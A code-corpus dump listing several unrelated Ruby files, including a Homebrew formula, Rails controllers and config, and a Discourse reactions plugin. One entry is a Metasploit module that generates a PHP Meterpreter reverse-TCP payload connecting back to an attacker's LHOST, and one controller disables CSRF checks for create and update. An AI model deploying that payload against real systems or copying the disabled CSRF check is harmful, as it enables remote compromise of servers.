hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
1a7134d37da736dd96e82b7e76ba4f9c7e326116 | 265 | # Describes a type of Document.
#
# Mainly use to classify types of evidence so that they can be
# organized when attached to Controls
class DocumentDescriptor < ActiveRecord::Base
include AuthoredModel
def display_name
title
end
is_versioned_ext
end
| 18.928571 | 62 | 0.773585 |
1ccca94c2052f0abd840c24ce377e2686c99e12a | 1,448 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/php/reverse_tcp'
require 'msf/base/sessions/meterpreter_php'
require 'msf/base/sessions/meterpreter_options'
module MetasploitModule
CachedSize = 27144
include Msf::Payload::Single
include Msf::Payload::Php::ReverseTcp
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Meterpreter, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a Meterpreter server (PHP)',
'Author' => ['egypt'],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_Php_Php))
end
def generate
met = MetasploitPayloads.read('meterpreter', 'meterpreter.php')
met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
uuid = generate_payload_uuid
bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"")
met.gsub!(/#.*$/, '')
met = Rex::Text.compress(met)
met
end
end
| 30.166667 | 89 | 0.638812 |
4ae8f908e98aa6a5915898c9422061ae2efdfbe0 | 1,366 | class K9s < Formula
desc "Kubernetes CLI To Manage Your Clusters In Style!"
homepage "https://k9scli.io/"
url "https://github.com/derailed/k9s.git",
tag: "v0.24.14",
revision: "6e753b5aa63ee34d49fade16940d92714702ec55"
license "Apache-2.0"
head "https://github.com/derailed/k9s.git"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "4acdfc57577236a0753dcd5b05c3feb28ba15a61c0f19a5e4f77bd69f5004a41"
sha256 cellar: :any_skip_relocation, big_sur: "c777c73421f25a83c2eaa2a5fbe8ab6cfde94c538128267e08b79b3f1fcc6ec8"
sha256 cellar: :any_skip_relocation, catalina: "64a1d28a9a243b0b7e29a671e995a453309467c581dc9a7d0e8631447bc775c5"
sha256 cellar: :any_skip_relocation, mojave: "b057cbe93925f65c69283b677702cedf6ba73e1cda30847da0d27d5de3ac2142"
sha256 cellar: :any_skip_relocation, x86_64_linux: "eadef26169ff9c0a13ef947db1342f2a8b760254d6921d1ab7de64ebaed23edf" # linuxbrew-core
end
depends_on "go" => :build
def install
system "go", "build", "-ldflags",
"-s -w -X github.com/derailed/k9s/cmd.version=#{version}
-X github.com/derailed/k9s/cmd.commit=#{Utils.git_head}",
*std_go_args
end
test do
assert_match "K9s is a CLI to view and manage your Kubernetes clusters.",
shell_output("#{bin}/k9s --help")
end
end
| 42.6875 | 139 | 0.729136 |
01debedfbe850397bf596b8821ac48de8a4a1c78 | 1,975 | class BlocksController < ApplicationController
before_action :set_block, only: [:show, :edit, :update, :destroy]
skip_before_action :verify_authenticity_token, only: [:create, :update] #for dev only, disables authenticity checking on create/update
# GET /blocks
# GET /blocks.json
def index
@blocks = Block.all
end
# GET /blocks/1
# GET /blocks/1.json
def show
end
# GET /blocks/new
def new
@block = Block.new
end
# GET /blocks/1/edit
def edit
end
# POST /blocks
# POST /blocks.json
def create
@block = Block.new(block_params)
respond_to do |format|
if @block.save
format.html { redirect_to @block, notice: 'Block was successfully created.' }
format.json { render :show, status: :created, location: @block }
else
format.html { render :new }
format.json { render json: @block.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /blocks/1
# PATCH/PUT /blocks/1.json
def update
respond_to do |format|
if @block.update(block_params)
format.html { redirect_to @block, notice: 'Block was successfully updated.' }
format.json { render :show, status: :ok, location: @block }
else
format.html { render :edit }
format.json { render json: @block.errors, status: :unprocessable_entity }
end
end
end
# DELETE /blocks/1
# DELETE /blocks/1.json
def destroy
@block.destroy
respond_to do |format|
format.html { redirect_to blocks_url, notice: 'Block was successfully destroyed.' }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_block
@block = Block.find(params[:id])
end
# Never trust parameters from the scary internet, only allow the white list through.
def block_params
params.require(:block).permit(:blocker_token, :blockee_token)
end
end
| 25.649351 | 136 | 0.659241 |
ffb8c3b565142ce441b2a69e124ebcbfffb0cd88 | 241 | module Fastlane
VERSION = '2.105.0'.freeze
DESCRIPTION = "The easiest way to automate beta deployments and releases for your iOS and Android apps".freeze
MINIMUM_XCODE_RELEASE = "7.0".freeze
RUBOCOP_REQUIREMENT = '0.49.1'.freeze
end
| 34.428571 | 112 | 0.759336 |
ed78b372bafd1d98aa7a655d910242d94907858c | 580 | require_relative '../support/utils'
include Utils
describe 'Main Component', type: :feature, js: true do
it 'Example 1' do
class ExamplePage < Matestack::Ui::Page
def response
main id: 'my-id', class: 'my-class' do
plain 'Hello World' #optional content
end
end
end
visit '/example'
static_output = page.html
expected_static_output = <<~HTML
<main id="my-id" class="my-class">
Hello World
</main>
HTML
expect(stripped(static_output)).to include(stripped(expected_static_output))
end
end
| 22.307692 | 80 | 0.634483 |
e247b5e9e3777e3190328746e9bf50f3b72222f0 | 3,635 | # frozen_string_literal: true
require 'lib/publisher'
module View
class Welcome < Snabberb::Component
needs :app_route, default: nil, store: true
needs :show_intro, default: true
def render
children = [render_notification]
children << render_introduction if @show_intro
children << render_buttons
h('div#welcome.half', children)
end
def render_notification
message = <<~MESSAGE
<p>We now support Slack/Discord notifications. Learn how to use them <a href='https://github.com/tobymao/18xx/wiki/Notifications'>here</a>.</p>
<p>18Ireland is now in alpha. 18Mag is now in production. 18FL is now in beta.</p>
<p>Please submit problem reports and make suggestions for improvements on
<a href='https://github.com/tobymao/18xx/issues'>GitHub</a>.</p>
<p>The <a href='https://github.com/tobymao/18xx/wiki'>18xx.games Wiki</a> has rules, maps,
and other information about all the games, along with an FAQ.</p>
<p>Support our publishers: #{Lib::Publisher.link_list.join}.</p>
<p>You can support this project on <a href='https://www.patreon.com/18xxgames'>Patreon</a>.</p>
<p>Join the
<a href='https://join.slack.com/t/18xxgames/shared_invite/zt-8ksy028m-CSZC~G5QtiFv60_jdqqulQ'>18xx Slack</a>.
Chat about 18xx in the <a href='https://18xxgames.slack.com/archives/C68J3MK2A'>#general</a> channel.
Discussion of the 18xx.games site is in the
<a href='https://18xxgames.slack.com/archives/CV3R3HPUZ'>#18xxgames</a> channel and the developers can be
found in the <a href='https://18xxgames.slack.com/archives/C012K0CNY5C'>#18xxgamesdev</a> channel.</p>
MESSAGE
props = {
style: {
background: 'rgb(240, 229, 140)',
color: 'black',
marginBottom: '1rem',
},
props: {
innerHTML: message,
},
}
h('div#notification.padded', props)
end
def render_introduction
message = <<~MESSAGE
<p>18xx.games is a website where you can play async or real-time 18xx games (based on the system originally devised by the brilliant Francis Tresham)!
If you are new to 18xx games then 1889, 18Chesapeake, or 18MS are good games to begin with.</p>
<p>You can play locally with hot seat mode without an account. If you want to play multiplayer, you'll need to create an account.</p>
<p>If you look at other people's games, you can make moves to play around but it won't affect them and changes won't be saved.
You can clone games in the tools tab and then play around locally.</p>
<p>In multiplayer games, you'll also be able to make moves for other players, this is so people can say 'pass me this SR' and you don't
need to wait. To use this feature in a game, enable "Master Mode" in the Tools tab. Please use it politely!</p>
MESSAGE
props = {
style: {
marginBottom: '1rem',
},
props: {
innerHTML: message,
},
}
h('div#introduction', props)
end
def render_buttons
props = {
style: {
margin: '1rem 0',
},
}
create_props = {
on: {
click: -> { store(:app_route, '/new_game') },
},
}
tutorial_props = {
on: {
click: -> { store(:app_route, '/tutorial?action=1') },
},
}
h('div#buttons', props, [
h(:button, create_props, 'CREATE A NEW GAME'),
h(:button, tutorial_props, 'TUTORIAL'),
])
end
end
end
| 34.951923 | 158 | 0.617056 |
21291a2a296af44d3fd990bac77a0da980a62d1c | 1,579 | require_relative 'ovirt_refresher_spec_common'
describe ManageIQ::Providers::Redhat::InfraManager::Refresher do
include OvirtRefresherSpecCommon
let(:ip_address) { '192.168.1.107' }
before(:each) do
init_defaults(:hostname => 'pluto-vdsg.eng.lab.tlv.redhat.com', :ipaddress => '10.35.19.13', :port => 443)
init_connection_vcr('spec/vcr_cassettes/manageiq/providers/redhat/infra_manager/refresh/refresher_target_host.yml')
@ems.default_endpoint.path = "/ovirt-engine/api"
stub_settings_merge(
:ems => {
:ems_redhat => {
:resolve_ip_addresses => false
}
}
)
end
before(:each) do
@cluster = FactoryBot.create(:ems_cluster,
:ems_ref => "/ovirt-engine/api/clusters/b875154c-5b87-4068-aa3f-f32c4d672193",
:uid_ems => "b875154c-5b87-4068-aa3f-f32c4d672193",
:ext_management_system => @ems,
:name => "Default")
@host = FactoryBot.create(:host_redhat,
:ext_management_system => @ems,
:ems_ref => "/ovirt-engine/api/hosts/11089411-53a2-4337-8613-7c1d411e8ae8",
:name => "fake_host",
:ems_cluster => @cluster)
end
it "should disconnect a host using graph refresh" do
EmsRefresh.refresh(@host)
@ems.reload
expect(Host.first).to be_archived
end
end
| 37.595238 | 125 | 0.550348 |
91e3850a8d6fe31eaca137233f5e5a5b6805dd39 | 5,043 | # frozen_string_literal: true
require "active_support/core_ext/integer/time"
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
# or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = true # ENV['RAILS_SERVE_STATIC_FILES'].present?
# Compress CSS using a preprocessor.
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Mount Action Cable outside main process or domain.
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Include generic and useful information about system operation, but avoid logging too much
# information to avoid inadvertent exposure of personally identifiable information (PII).
config.log_level = :info
# Prepend all log lines with the following tags.
config.log_tags = [:request_id]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment).
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "polypress_production"
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Log disallowed deprecations.
config.active_support.disallowed_deprecation = :log
# Tell Active Support which deprecation messages to disallow.
config.active_support.disallowed_deprecation_warnings = []
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require "syslog/logger"
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new($stdout)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Inserts middleware to perform automatic connection switching.
# The `database_selector` hash is used to pass options to the DatabaseSelector
# middleware. The `delay` is used to determine how long to wait after a write
# to send a subsequent read to the primary.
#
# The `database_resolver` class is used by the middleware to determine which
# database is appropriate to use based on the time delay.
#
# The `database_resolver_context` class is used by the middleware to set
# timestamps for the last write to the primary. The resolver uses the context
# class timestamps to determine how long to wait before reading from the
# replica.
#
# By default Rails will store a last write timestamp in the session. The
# DatabaseSelector middleware is designed as such you can define your own
# strategy for connection switching and pass that into the middleware through
# these configuration options.
# config.active_record.database_selector = { delay: 2.seconds }
# config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
# config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
# config.action_mailer.default_url_options = { host: 'localhost', port: 3000 }
config.cartafact_document_base_url = "http://#{ENV['CARTAFACT_HOST']}:3000/api/v1/documents"
end
| 44.236842 | 114 | 0.762443 |
38460cad0d503c8090404cd126014ba53cfce61e | 1,313 | # frozen_string_literal: true
require_relative "lib/viva_wallet/version"
Gem::Specification.new do |spec|
spec.name = "viva_wallet"
spec.version = VivaWallet::VERSION
spec.authors = ["Tom Dallimore"]
spec.email = ["[email protected]"]
spec.summary = "A Ruby wrapper for the Viva Wallet Smart Checkout API."
spec.description = "A Ruby wrapper for the Viva Wallet Smart Checkout API."
spec.homepage = "https://github.com/Jellyfishboy/viva_wallet"
spec.license = "MIT"
spec.required_ruby_version = Gem::Requirement.new(">= 2.4.0")
spec.metadata["source_code_uri"] = "https://github.com/Jellyfishboy/viva_wallet"
# Specify which files should be added to the gem when it is released.
# The `git ls-files -z` loads the files in the RubyGem that have been added into git.
spec.files = Dir.chdir(File.expand_path(__dir__)) do
`git ls-files -z`.split("\x0").reject { |f| f.match(%r{\A(?:test|spec|features)/}) }
end
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{\Aexe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_dependency 'rest-client', '~> 2'
# For more information and examples about making a new gem, checkout our
# guide at: https://bundler.io/guides/creating_gem.html
end
| 39.787879 | 88 | 0.67936 |
1ced1b72599344ec1f8863add470476fcf9ae20f | 2,393 | # TODO: plistの変数展開はどうすれば良いだろうか。
Pod::Spec.new do |s|
s.name = "DeviceConnectAllJoynPlugin"
s.version = "2.1.0"
s.summary = "Device Connect Plugin for AllJoyn"
s.description = <<-DESC
A Device Connect plugin for AllJoyn.
Device Connect is an IoT solution for interconnecting various modern devices.
Also available in Android: https://github.com/DeviceConnect/DeviceConnect-Android .
DESC
s.homepage = "https://github.com/DeviceConnect/DeviceConnect-iOS"
# s.screenshots = "www.example.com/screenshots_1.gif", "www.example.com/screenshots_2.gif"
s.license = {:type => "MIT", :file => "LICENSE.TXT"}
s.author = "NTT DOCOMO, INC."
# s.authors = { "NTT DOCOMO, INC." => "*****@*****" }
# s.social_media_url = "https://www.facebook.com/docomo.official"
# プロパティのweak属性と、automatic property synthesisをサポートするために6.0以降が必要。
s.platform = :ios, "9.0"
s.source = {
:git => "https://github.com/DeviceConnect/DeviceConnect-iOS", :branch => "master"
}
s.pod_target_xcconfig = {
# エンドターゲット(アプリとか)のDebugビルドの際、対応するアーキテクチャが含まれていない
# という旨で提供するライブラリがビルドされない問題への対処。
'ONLY_ACTIVE_ARCH' => 'NO',
'GCC_ENABLE_CPP_RTTI' => 'NO',
'GCC_PREPROCESSOR_DEFINITIONS' => "NS_BLOCK_ASSERTIONS=1 QCC_OS_GROUP_POSIX=1 QCC_OS_DARWIN=1"
}
common_resource_exts = "plist,lproj,storyboard,strings,xcdatamodeld,png"
base_path = "dConnectDevicePlugin/dConnectDeviceAllJoyn"
s.preserve_path = base_path + "/dConnectDeviceAllJoyn/Resources/AllJoynIntrospectionXML/*"
# エンドターゲット(アプリとか)のプリコンパイルドヘッダー汚染の恐れあり。
s.prefix_header_file = base_path + "/dConnectDeviceAllJoyn/Supporting Files/dConnectDeviceAllJoyn-Prefix.pch"
s.private_header_files = base_path + "/dConnectDeviceAllJoyn/Sources/**/*.h", base_path + "/deps/AllJoynFramework/AllJoynFramework_iOS.h"
s.source_files = base_path + "/dConnectDeviceAllJoyn/Sources/**/*.{h,m,mm}", base_path + "/deps/AllJoynFramework/AllJoynFramework_iOS.h"
s.resource_bundles = {"dConnectDeviceAllJoyn_resources" => [base_path + "/dConnectDeviceAllJoyn/Resources/**/*.{#{common_resource_exts},jpg}"]}
s.dependency "DeviceConnectSDK"
s.dependency "AllJoynCoreSDK", "15.04.00.b" # ./AllJoynCoreSDK.podspec を要公開
end
| 44.314815 | 147 | 0.674467 |
796f160e96252ce31212db78ca9249c66c269fa6 | 251 | cask 'tiny' do
version :latest
sha256 :no_check
url 'http://www.delightfuldev.com/assets/files/tiny/Tiny.zip'
name 'Tiny'
homepage 'http://www.delightfuldev.com/tiny/'
license :gratis
depends_on macos: '>= 10.10'
app 'Tiny.app'
end
| 17.928571 | 63 | 0.689243 |
ac0956189b31e9621fff1a0667f5497c61064021 | 4,414 | # name: retort
# about: Reactions plugin for Discourse
# version: 1.2.0
# authors: James Kiesel (gdpelican)
# url: https://github.com/gdpelican/retort
register_asset "stylesheets/retort.scss"
RETORT_PLUGIN_NAME ||= "retort".freeze
enabled_site_setting :retort_enabled
after_initialize do
module ::Retort
class Engine < ::Rails::Engine
engine_name RETORT_PLUGIN_NAME
isolate_namespace Retort
end
end
::Retort::Engine.routes.draw do
post "/:post_id" => "retorts#update"
end
Discourse::Application.routes.append do
mount ::Retort::Engine, at: "/retorts"
end
class ::Retort::RetortsController < ApplicationController
before_action :verify_post_and_user, only: :update
def update
retort.toggle_user(current_user)
respond_with_retort
end
private
def post
@post ||= Post.find_by(id: params[:post_id]) if params[:post_id]
end
def retort
@retort ||= Retort::Retort.find_by(post: post, retort: params[:retort])
end
def verify_post_and_user
respond_with_unprocessable("Unable to find post #{params[:post_id]}") unless post
respond_with_unprocessable("You are not permitted to modify this") unless current_user
end
def respond_with_retort
if retort && retort.valid?
MessageBus.publish "/retort/topics/#{params[:topic_id] || post.topic_id}", serialized_post_retorts
render json: { success: :ok }
else
respond_with_unprocessable("Unable to save that retort. Please try again")
end
end
def serialized_post_retorts
::PostSerializer.new(post.reload, scope: Guardian.new, root: false).as_json
end
def respond_with_unprocessable(error)
render json: { errors: error }, status: :unprocessable_entity
end
end
class ::Retort::RetortSerializer < ActiveModel::Serializer
attributes :post_id, :usernames, :emoji
define_method :post_id, -> { object.post_id }
define_method :usernames, -> { object.persisted? ? JSON.parse(object.value) : [] }
define_method :emoji, -> { object.key.split('|').first }
end
::Retort::Retort = Struct.new(:detail) do
def self.for_post(post: nil)
PostDetail.where(extra: RETORT_PLUGIN_NAME,
post: post)
end
def self.for_user(user: nil, post: nil)
for_post(post: post).map { |r| new(r) }
.select { |r| r.value.include?(user.username) }
end
def self.find_by(post: nil, retort: nil)
new(for_post(post: post).find_or_initialize_by(key: :"#{retort}|#{RETORT_PLUGIN_NAME}"))
end
def valid?
detail.valid?
end
def toggle_user(user)
new_value = if value.include? user.username
value - Array(user.username)
else
purge_other_retorts!(user) unless SiteSetting.retort_allow_multiple_reactions
value + Array(user.username)
end.flatten
if new_value.any?
detail.update(value: new_value.flatten)
else
detail.destroy
end
end
def purge_other_retorts!(user)
self.class.for_user(user: user, post: detail.post).map { |r| r.toggle_user(user) }
end
def value
return [] unless detail.value
@value ||= Array(JSON.parse(detail.value))
end
end
require_dependency 'post_serializer'
class ::PostSerializer
attributes :retorts
def retorts
return ActiveModel::ArraySerializer.new(Retort::Retort.for_post(post: object), each_serializer: ::Retort::RetortSerializer).as_json
end
end
require_dependency 'rate_limiter'
require_dependency 'post_detail'
class ::PostDetail
include RateLimiter::OnCreateRecord
rate_limit :retort_rate_limiter
after_update { run_callbacks :create if is_retort? }
def is_retort?
extra == RETORT_PLUGIN_NAME
end
def retort_rate_limiter
@rate_limiter ||= RateLimiter.new(retort_author, "create_retort", retort_max_per_day, 1.day.to_i) if is_retort?
end
def retort_author
@retort_author ||= User.find_by(username: Array(JSON.parse(value)).last)
end
def retort_max_per_day
(SiteSetting.retort_max_per_day * retort_trust_multiplier).to_i
end
def retort_trust_multiplier
return 1.0 unless retort_author&.trust_level.to_i >= 2
SiteSetting.send(:"retort_tl#{retort_author.trust_level}_max_per_day_multiplier")
end
end
end
| 27.5875 | 137 | 0.682601 |
8711376159224523a836bda3e3ef8812ff5387d6 | 159 | class AddShipmentTimeSlotIdToSpreeShipments < ActiveRecord::Migration
def change
add_column :spree_shipments, :shipment_time_slot_id, :integer
end
end
| 26.5 | 69 | 0.823899 |
d55645067ad443a5113756c3861773a178e7d190 | 8,210 | require 'spec_helper'
describe 'puppet_enterprise::master::tk_authz' do
let(:params) do
{
'console_client_certname' => 'fake_console_certname',
'classifier_client_certname' => 'fake_classifier_certname',
'orchestrator_client_certname' => 'fake_orchestrator_certname'
}
end
let(:authconf) { '/etc/puppetlabs/puppetserver/conf.d/auth.conf' }
context 'managing auth.conf metadata' do
it { should contain_pe_puppet_authorization(authconf)
.with_version(1)
.with_allow_header_cert_info(false)}
end
context 'managing rules' do
it { should contain_pe_puppet_authorization__rule('puppetlabs catalog')
.with_match_request_path('^/puppet/v3/catalog/([^/]+)$')
.with_match_request_type('regex')
.with_match_request_method(['get', 'post'])
.with_allow('$1')
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs certificate')
.with_match_request_path('/puppet-ca/v1/certificate/')
.with_match_request_type('path')
.with_match_request_method('get')
.with_allow_unauthenticated(true)
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs crl')
.with_match_request_path('/puppet-ca/v1/certificate_revocation_list/ca')
.with_match_request_type('path')
.with_match_request_method('get')
.with_allow_unauthenticated(true)
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs csr')
.with_match_request_path('/puppet-ca/v1/certificate_request')
.with_match_request_type('path')
.with_match_request_method(['get', 'put'])
.with_allow_unauthenticated(true)
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs environments')
.with_match_request_path('/puppet/v3/environments')
.with_match_request_type('path')
.with_match_request_method('get')
.with_allow('*')
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs environment')
.with_match_request_path('/puppet/v3/environment')
.with_match_request_type('path')
.with_match_request_method('get')
.with_allow('fake_orchestrator_certname')
.with_sort_order(510)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs environment classes')
.with_match_request_path('/puppet/v3/environment_classes')
.with_match_request_type('path')
.with_match_request_method('get')
.with_allow('fake_classifier_certname')
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs file')
.with_match_request_path('/puppet/v3/file')
.with_match_request_type('path')
.with_allow('*')
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs node')
.with_match_request_path('^/puppet/v3/node/([^/]+)$')
.with_match_request_type('regex')
.with_match_request_method('get')
.with_allow('$1')
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs report')
.with_match_request_path('^/puppet/v3/report/([^/]+)$')
.with_match_request_type('regex')
.with_match_request_method('put')
.with_allow('$1')
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs resource type')
.with_match_request_path('/puppet/v3/resource_type')
.with_match_request_type('path')
.with_match_request_method('get')
.with_allow(['fake_console_certname',
'fake_classifier_certname',
'fake_orchestrator_certname'])
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs status')
.with_match_request_path('/puppet/v3/status')
.with_match_request_type('path')
.with_match_request_method('get')
.with_allow_unauthenticated(true)
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs static file content')
.with_match_request_path('/puppet/v3/static_file_content')
.with_match_request_type('path')
.with_match_request_method('get')
.with_allow('*')
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs experimental')
.with_match_request_path('/puppet/experimental')
.with_match_request_type('path')
.with_match_request_method('get')
.with_allow_unauthenticated(true)
.with_sort_order(500)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
it { should contain_pe_puppet_authorization__rule('puppetlabs deny all')
.with_match_request_path('/')
.with_match_request_type('path')
.with_deny('*')
.with_sort_order(999)
.with_path(authconf)
.with_require("Pe_puppet_authorization[#{authconf}]")
.with_notify('Service[pe-puppetserver]')}
end
end
| 47.456647 | 89 | 0.586967 |
acc267eaa37b2a0a04a360b6d0fc3ce22c4dfe73 | 1,876 | RSpec.describe 'Brickftp::Permission' do
let(:new_user) do
username = "testuser#{SecureRandom.hex(2)}"
Brickftp::User.create(username: username, password: 'password@123')
end
let(:new_permission) do
@new_user = new_user
Brickftp::Permission.create({path: "/test#{SecureRandom.hex(2)}", permission: "writeonly", user_id: @new_user['id']})
end
it 'Permission#list' do
new_permission = new_permission
list = Brickftp::Permission.list
is_valid = list.size >= 0
expect(is_valid).to eql(true)
#expect(list.size).to be > 0
end
describe 'Permission#create' do
context 'Valid' do
before do
@prev_count = Brickftp::Permission.list.size
@new_permission = new_permission
end
it 'Create new Permission' do
new_count = Brickftp::Permission.list.size
expect(new_count).to eql(@prev_count + 1)
end
end
context 'Invalid' do
it 'Permission not created, Path is invalid, Permission must have one of user or group set' do
permission = Brickftp::Permission.create()
expect(permission["errors"].join(',')).to eql('Path is invalid,Permission must have one of user or group set')
end
it 'Permission not created, Permission must have one of user or group set' do
permission = Brickftp::Permission.create({path: "/test#{SecureRandom.hex(2)}"})
expect(permission["errors"].join(',')).to eql('Permission must have one of user or group set')
end
end
end
describe 'Permission#delete' do
before do
@new_permission = new_permission
end
it 'Delete a Permission' do
prev_count = Brickftp::Permission.list.size
Brickftp::Permission.delete(@new_permission['id'])
new_count = Brickftp::Permission.list.size
expect(new_count).to eq(prev_count - 1)
end
end
end
| 32.344828 | 121 | 0.660981 |
e85c5d25bfdb0a1b0af6dff21f0bca4d19713e7f | 376 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::StorageCache::Mgmt::V2019_11_01
module Models
#
# Defines values for StorageTargetType
#
module StorageTargetType
Nfs3 = "nfs3"
Clfs = "clfs"
Unknown = "unknown"
end
end
end
| 22.117647 | 70 | 0.68617 |
ff787b58319d62dd3c1207b0bfcd328226376a1b | 449 | # frozen_string_literal: true
module DropletKit
class HealthCheckMapping
include Kartograph::DSL
kartograph do
mapping HealthCheck
scoped :read, :create, :update do
property :protocol
property :port
property :path
property :check_interval_seconds
property :response_timeout_seconds
property :healthy_threshold
property :unhealthy_threshold
end
end
end
end
| 20.409091 | 42 | 0.67706 |
ed96b31a0873b17d41324c0f1b3de9911a3e6111 | 12,441 | =begin
#NSX API
#VMware NSX REST API
OpenAPI spec version: 1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.3.1
=end
require 'date'
module NSXT
class AdvertiseRuleList
attr_accessor :_self
# The server will populate this field when returing the resource. Ignored on PUT and POST.
attr_accessor :_links
attr_accessor :_schema
# The _revision property describes the current revision of the resource. To prevent clients from overwriting each other's changes, PUT operations must include the current _revision of the resource, which clients should obtain by issuing a GET operation. If the _revision provided in a PUT request is missing or stale, the operation will be rejected.
attr_accessor :_revision
# Indicates system owned resource
attr_accessor :_system_owned
# Defaults to ID if not set
attr_accessor :display_name
# Description of this resource
attr_accessor :description
# Opaque identifiers meaningful to the API user
attr_accessor :tags
# ID of the user who created this resource
attr_accessor :_create_user
# Protection status is one of the following: PROTECTED - the client who retrieved the entity is not allowed to modify it. NOT_PROTECTED - the client who retrieved the entity is allowed to modify it REQUIRE_OVERRIDE - the client who retrieved the entity is a super user and can modify it, but only when providing the request header X-Allow-Overwrite=true. UNKNOWN - the _protection field could not be determined for this entity.
attr_accessor :_protection
# Timestamp of resource creation
attr_accessor :_create_time
# Timestamp of last modification
attr_accessor :_last_modified_time
